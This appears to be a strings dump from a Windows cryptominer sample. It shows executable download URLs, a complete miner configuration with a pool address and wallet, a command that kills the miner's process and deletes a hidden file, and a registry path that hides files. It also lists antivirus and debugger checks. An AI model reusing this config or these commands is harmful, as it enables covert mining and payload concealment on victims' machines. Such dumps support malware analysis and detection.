http://timenowis1.top/E32HGDGFD65.exe
http://timenowis1.top/E976HDGFD65.exe
_NT.download
{"algo": "cryptonight","api": {"port": 0,"access-token": null,"id": null,"worker-id": null,"ipv6": false, "restricted": true },"asm": true, "autosave": false,"av": 1,"background": true,"colors": false,"cpu-affinity": null,"cpu-priority": null, "donate-level": 1, "huge-pages": null,"hw-aes": null, "log-file": "CN39KPIMASK" ,"max-cpu-usage": 55,"pools": [ { "url": "51.68.28.138:8080", "user": "4476TbUZa5cffKCzE6njxZBMUudCbsuvSVt7Woy23SKajYZibqwCPD8f3EYS8pXBimUzjkfXu7v4oJCoN1ry9GfsTWgkyEt","pass": "NtCall:", "rig-id": null,"nicehash": true, "keepalive": true, "variant": -1,"tls": false,"tls-fingerprint": null }],"print-time": 20,"retries": 5,"retry-pause": 5,"safe": true,"threads": null,"user-agent": null,"watch": false}
/wvyahs/nhaldhf/jvtthuk/pukle.wow
_NT.au
/wvyahs/nhaldhf/mllkihjr/pukle.wow
/wvyahs/nhaldhf/hspcl/pukle.wow
%sconfig.json
%AppData%
Software\microsoft\windows\currentversion\explorer\advanced\folder\superhidden
Aptluvdpz4.avw
Netapi32.dll
WAdvapi32.dll
Wininet.dll
Urlmon.dll
_HttpSendRequestA Failed with Error Code [%d]
MSASCuiL.exe
_HttpOpenRequestA Failed with Error Code [%d]
]eventvwr.exe
NT99KPIMASK.exe
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HARDWARE\DESCRIPTION\System\CentralProcessor\0
Activated by Admin
SOFTWARE\Microsoft\Windows NT\CurrentVersion
Failed to (InternetOpenA) [%d]
Failed to (InternetConnectA) [%d]
No such process
No such device or address
Detected by AV
/c Taskkill /PID %d /F & del /A:H %s > nul
Too many open files in system
Too many links
Too many open files
Result too large
No such device
Resource device
OERR.1 [%d]
ERR.2 [%d]
Failed to CreateProcess(Miner) [%d]
Operation not permitted
Failed to (InternetConnectA) with code [%d]
Failed to (InternetOpenA) with code [%d]
Software\Microsoft\EngineIndicator\
Dpukvdz-ZlhyjoLunpull.lel
Http()
_HttpPost()
HttpSendRequestA
HttpOpenRequestA
mscoree.dll
<requestedPrivileges>
GetShortPathNameW Failed with error code [%d]
Miner Thread()
- abort() has been called
IsProcessorFeaturePresent
GetProcAddress
I succeed with CopyFileW, But i cannot Run_Process with error code [%d]
COMSPEC
Main Folder not Exist, also i failed to CreateDirectoryW with Error code [%d], Home Path: [%ws]
Exe is already in Target Path, But not able to Run_Process with error code [%d]
GetModuleFileNameW Failed with error code [%d]
ExitProcess
_RegCreateKeyExW_ Failed with error code [%d]
_RegSetValueExW_ Failed with error code [%d]
Process32FirstW
tWSSh
Process32NextW
Error: Cannot create connection thread with code [%d]
PSSh
PSSh
IsDebuggerPresent
OpenProcess
TerminateProcess
CreateProcessW
ShellExecuteW
ShellExecuteExW
Permission denied
&SHA18=
&SHA17=
&SHA10=
&SHA13=
&SHA16=
&SHA15=
&SHA12=
&SHA11=
&SHA14=
InternetReadFile
CreateMutexW
CreateDirectoryW
RegSetValueExA
RegCreateKeyExA
RegQueryValueExA
HeapCreate
TerminateThread
SetFilePointer
QueryPerformanceCounter
WriteFile
GetModuleFileNameW
DeleteFileW
GetModuleHandleW